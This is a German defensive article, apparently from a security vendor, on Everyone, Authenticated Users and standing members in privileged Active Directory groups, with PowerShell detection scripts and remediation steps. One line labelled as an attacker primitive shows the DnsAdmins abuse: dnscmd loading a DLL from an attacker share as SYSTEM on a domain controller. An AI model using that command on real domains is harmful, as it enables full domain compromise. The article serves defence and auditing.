Everyone, Authenticated Users, Privilegierte Gruppen, Active Directory: Wie eingebaute Konten unbemerkt übermitgliedert werden

Everyone, Authenticated Users, Privilegierte Gruppen, Active Directory: Was Übermitgliedschaft bedeutet

Everyone, Authenticated Users, privilegierte Gruppen, Active Directory – vier Dinge, die sich zu einem Tier-0-Risiko verbinden, sobald eine besondere Identität direkt in der Mitgliederliste einer Gruppe steht, ganz ohne Angriffspfad. Die meisten Inhalte zur Active-Directory-Rechteausweitung konzentrieren sich auf indirekte Pfade: verschachtelte Gruppen, ACL-Missbrauch, Delegationsketten. Dieser Artikel behandelt eine plumpere Variante desselben Problems: eine privilegierte Gruppe in Active Directory – eingebaut oder Tier 0 – bei der Everyone, Authenticated Users oder ein Tier-0-Konto, das vor Monaten hätte entfernt werden sollen, direkt in der Mitgliederliste steht, ganz ohne Verschachtelung oder ACL-Trick, um es zu finden. Es ist ein enger Verwandter von Privileged Access Drift, nur ohne die mehrstufige Verschleppung: Die Fehlkonfiguration ist in einer einzigen Mitgliederliste sichtbar.

Konkret muss ein Audit für die Exposition active directory privilegierte gruppen everyone authenticated users prüfen: welche domänenlokalen privilegierten Gruppen ein Sonderidentitäts-Mitglied enthalten und welche Tier-0-Gruppen seit ihrer letzten legitimen Nutzung besetzt geblieben sind.

Drei Muster fallen in diese Kategorie:

• Sonderidentitäten, die direkt zu einer privilegierten Gruppe hinzugefügt wurden. Die Sonderidentitäten Everyone und Authenticated Users können als explizite Mitglieder einer domänenlokalen Gruppe hinzugefügt werden. Ist diese Gruppe privilegiert – Administrators, Account Operators, Backup Operators, Server Operators, Print Operators oder DnsAdmins – erbt jedes authentifizierte Prinzipal in der Domäne die Rechte dieser Gruppe.
• Tier-0-Gruppen, die leer sein sollten, es aber nicht sind. Schema Admins und Enterprise Admins existieren für gelegentliche, bewusste Nutzung (Schema-Änderungen, domänenübergreifende Administration). Microsofts eigene Remediation-Anleitung besagt, Schema Admins außerhalb einer aktiven Schema-Änderung leer zu halten und nur bei Bedarf wieder zu befüllen (Microsoft Learn). Ein dauerhaftes Mitglied ist eine stehende Tier-0-Anmeldeinformation, die niemand aktiv nutzt – reine Angriffsfläche.
• Eine privilegierte Gruppe, die die meisten Teams nicht beobachten: DnsAdmins. Microsoft Defender for Identity liefert eine eigene Sicherheitsbewertung für „unsichere Berechtigungen für die DnsAdmins-Gruppe", weil die Mitgliedschaft Kontrolle über den DNS-Serverdienst gewährt, der auf Domänencontrollern läuft (Microsoft Learn) – Kontrolle, die eine bekannte Technik in SYSTEM auf einem DC verwandelt.

Nichts davon erfordert BloodHound-artiges Pfadfinden. Es zeigt sich, sobald jemand Get-ADGroupMember gegen die richtige Gruppe ausführt – genau deshalb übersteht es häufig Audits, die auf Angriffspfad-Graphen statt auf einfache Mitgliederlisten aufbauen.

Es entgeht der manuellen Überprüfung auch deshalb, weil es nicht das Ergebnis einer einzelnen dramatischen Entscheidung ist. Ein Schema Admins-Konto wird für eine einmalige Anwendungsinstallation hinzugefügt, und der Entfernungsschritt wird übersprungen. Eine Troubleshooting-Sitzung fügt Authenticated Users „vorübergehend" zu DnsAdmins hinzu, um ein Helpdesk-Ticket freizugeben, und das Ticket wird geschlossen, bevor die Mitgliedschaft rückgängig gemacht wird. Jeder Schritt wirkt lokal vernünftig; der kumulative Zustand ist eine Domäne, in der jedes authentifizierte Konto – einschließlich eines niedrig privilegierten gephishten Nutzers oder eines kompromittierten Dienstkontos – bereits eine gerade Linie zu einem Domänencontroller hat.

Funktionsweise

Everyone und Authenticated Users können nur in domänenlokalen Gruppen landen – aber dazu gehören die, die zählen

Nach AD's Gruppengeltungsbereich-Regeln (das klassische AGDLP-Modell) können Sonderidentitäten und Foreign Security Principals nur in Gruppen mit domänenlokalem Geltungsbereich platziert werden, nicht in globalen oder universellen (Microsoft TechNet Wiki, „Foreign Security Principals and Special Identities"; Microsoft Learn, „Understand Special Identities Groups"). Fügt ein Administrator (oder ein fehlkonfiguriertes GPO/Skript) Everyone oder Authenticated Users zu einer solchen Gruppe hinzu, erstellt Active Directory ein ForeignSecurityPrincipal-Objekt für diese bekannte SID unter CN=ForeignSecurityPrincipals und listet es als Mitglied.

Das schließt das direkte Hinzufügen von Everyone zur global-scoped Gruppe Domain Admins aus – AD's Gruppengeltungsbereich-Einschränkungen erlauben das nicht. Es schließt aber nicht die Gruppe aus, die tatsächlich am meisten zählt: Die eingebaute Administrators-Gruppe ist domänenlokal und enthält standardmäßig bereits Domain Admins und Enterprise Admins verschachtelt (Microsoft Learn, Anhang G – Securing Administrators Groups in Active Directory). Fügen Sie Everyone oder Authenticated Users zu Administrators hinzu, erbt jedes authentifizierte Konto in der Domäne alles, was Domain Admins durch diese Verschachtelung erbt – volle Kontrolle über jeden Domänencontroller. Derselbe domänenlokale Geltungsbereich gilt für Account Operators, Backup Operators, Server Operators, Print Operators und DnsAdmins – allesamt gängige Ziele für genau diese Fehlkonfiguration.

🚨 Gefahr: Das ist kein theoretischer Pfad – es ist eine Mitgliederliste. Keine delegierte ACL, kein Kerberos-Trick, keine verschachtelte Kette. Get-ADGroupMember auf der falschen Gruppe zeigt es in einem einzigen Aufruf.

DnsAdmins-Mitgliedschaft wird zu SYSTEM auf einem Domänencontroller

DnsAdmins-Mitgliedschaft ist für sich genommen gefährlich, unabhängig von Everyone/Authenticated-Users-Tricks. Mitglieder können den Registrierungswert ServerLevelPluginDll beim DNS-Serverdienst über dnscmd.exe setzen und dabei auf eine beliebige DLL zeigen; ein Neustart des DNS-Diensts lädt diese DLL unter dem SYSTEM-Konto des Domänencontrollers. Dies wurde erstmals von Shay Ber (Lab of a Penetration Tester, 2017) als „Abusing DNSAdmins privilege for escalation in Active Directory" veröffentlicht und seither wiederholt dokumentiert und erneut verifiziert, unter anderem von Sean Metcalf bei ADSecurity.org („From DNSAdmins to Domain Admin") und von Semperis („DnsAdmins Revisited") (Lab of a Penetration Tester; ADSecurity.org; Semperis).

# Angreiferseitige Primitive (DnsAdmins-Mitglied, nur zur Information für Verteidiger)
dnscmd.exe DC01 /config /serverlevelplugindll \\attacker\share\evil.dll

Microsoft hat erklärt, dass dies ein dokumentiertes Feature des DNS-Verwaltungsprotokolls ist und keine Schwachstelle – genau deshalb wird es nicht per Patch behoben – die Lösung ist organisatorisch (halten Sie DnsAdmins leer oder eng begrenzt), kein Sicherheitsupdate (InfosecMatter / Metasploit-Modulbeschreibung, die MSRCs Position zusammenfasst).

Schema Admins und Enterprise Admins als stehende Tier-0-Anmeldeinformationen

Schema Admins benötigt Mitglieder nur für die Dauer einer tatsächlichen Schema-Erweiterung (eine neue Anwendung installiert Schema-Attribute, eine Änderung der Gesamtstruktur-Funktionsebene). Microsofts eigener Remediation-Inhalt für genau diesen Befund besagt, alle Mitglieder zu entfernen und Konten nur wieder hinzuzufügen, wenn eine Schema-Änderung im Gange ist (Microsoft Learn). Eine dauerhaft besetzte Schema Admins-Gruppe (oder Enterprise Admins, ähnlich für gesamtstrukturweite Administration ausgelegt) ist eine Tier-0-Anmeldeinformation, die zwischen Änderungen ungenutzt bleibt – genau die Art von Konto, nach der Angreifer suchen, weil niemand bemerkt, wenn es sich anmeldet, weil es sich normalerweise nie anmeldet.

Erkennung

Alles unten kann schreibgeschützt ausgeführt werden, mit einem Dienstkonto ohne Schreibrechte. Für die breitere Menge an Event-IDs, die in einer AD-Umgebung erfasst werden sollten, siehe den dedizierten Überwachungsleitfaden – die Tabelle unten deckt nur die Ereignisse ab, die spezifisch für diese Fehlkonfiguration sind.

# 1. Mitglieder der domänenlokalen privilegierten Gruppen auflisten und ForeignSecurityPrincipal-Einträge markieren
#    (so zeigen sich Everyone/Authenticated Users, wenn sie direkt hinzugefügt wurden)
$privilegedDomainLocal = 'Administrators','Account Operators','Backup Operators',
                          'Server Operators','Print Operators','DnsAdmins'

foreach ($g in $privilegedDomainLocal) {
    Get-ADGroupMember -Identity $g -ErrorAction SilentlyContinue |
        Where-Object { $_.objectClass -eq 'foreignSecurityPrincipal' } |
        Select-Object @{N='Group';E={$g}}, Name, SID
}

# 2. Auflösen, welche bekannte SID ein ForeignSecurityPrincipal repräsentiert
#    S-1-1-0  = Everyone
#    S-1-5-11 = Authenticated Users
Get-ADObject -SearchBase (Get-ADDomain).SystemsContainer `
             -Filter "objectClass -eq 'foreignSecurityPrincipal'" -Properties objectSid |
    Select-Object Name, @{N='SID';E={$_.objectSid}}

# 3. Schema Admins / Enterprise Admins sollten außerhalb eines Wartungsfensters leer sein
Get-ADGroupMember -Identity 'Schema Admins' -Server (Get-ADForest).SchemaMaster
Get-ADGroupMember -Identity 'Enterprise Admins' -Server (Get-ADForest).RootDomain

Behebung

Diese Korrekturen gehören zu einem breiteren Active-Directory-Härtungsprioritäten-Durchgang – Hygiene bei privilegierten Gruppen gehört nahe an die Spitze dieser Liste, nicht als Folgeaufgabe.

1. Entfernen Sie jede Everyone/Authenticated Users-Mitgliedschaft aus privilegierten domänenlokalen Gruppen. Remove-ADGroupMember -Identity Administrators -Members (Get-ADObject -Filter "objectSid -eq 'S-1-1-0'") – prüfen Sie zuerst das genaue Objekt, dies ist eine Tier-0-Gruppe.
2. Leeren Sie Schema Admins und Enterprise Admins außerhalb von Wartungsfenstern. Dokumentieren Sie einen Break-Glass-Prozess: Konto hinzufügen, Änderung durchführen, Konto entfernen und die Ausnahme protokollieren (wer, warum, wann).
3. Begrenzen Sie DnsAdmins eng und überwachen Sie es wie Domain Admins. Kann niemand begründen, warum ein bestimmtes Konto Mitglied ist, entfernen Sie es. Behandeln Sie jedes 4728/4732-Ereignis für diese Gruppe als Tier-0-Alarm, nicht als Routine-IT-Rauschen.
4. Alarmieren Sie in Echtzeit bei 4728/4732/4756 für die vollständige Tier-0-Gruppenliste, nicht nur Domain Admins/Enterprise Admins – schließen Sie Administrators, Account Operators, Backup Operators, Server Operators, Print Operators, DnsAdmins und Schema Admins in dieselbe Alarmregel ein.
5. Verlangen Sie einen Genehmigungsnachweis für jede privilegierte Gruppenhinzufügung – Eigentümer, Begründung und ein Ablaufdatum. Eine Mitgliedschaft ohne dokumentierten Grund ist selbst der Befund, unabhängig davon, wer hinzugefügt wurde.

Wie EtcSec Dies Erkennt

Der EtcSec-AD-Audit prüft direkte Übermitgliedschaft über die hier behandelten eingebauten und Tier-0-Gruppen hinweg: GROUP_EVERYONE_IN_PRIVILEGED und GROUP_AUTHENTICATED_USERS_PRIVILEGED kennzeichnen Sonderidentitäten, die direkt in einer privilegierten Gruppe platziert wurden, SCHEMA_ADMINS_NOT_EMPTY kennzeichnet eine dauerhaft besetzte Schema-/Enterprise-Admins-Gruppe, DNS_ADMINS_MEMBER zeigt jedes DnsAdmins-Mitglied zur Überprüfung an, und PRIVILEGED_GROUP_MEMBER_CHANGES verfolgt aktuelle Mitgliedschaftsänderungen bei Tier-0-Gruppen, damit eine neue Hinzufügung nicht unbemerkt zwischen Audits bleibt.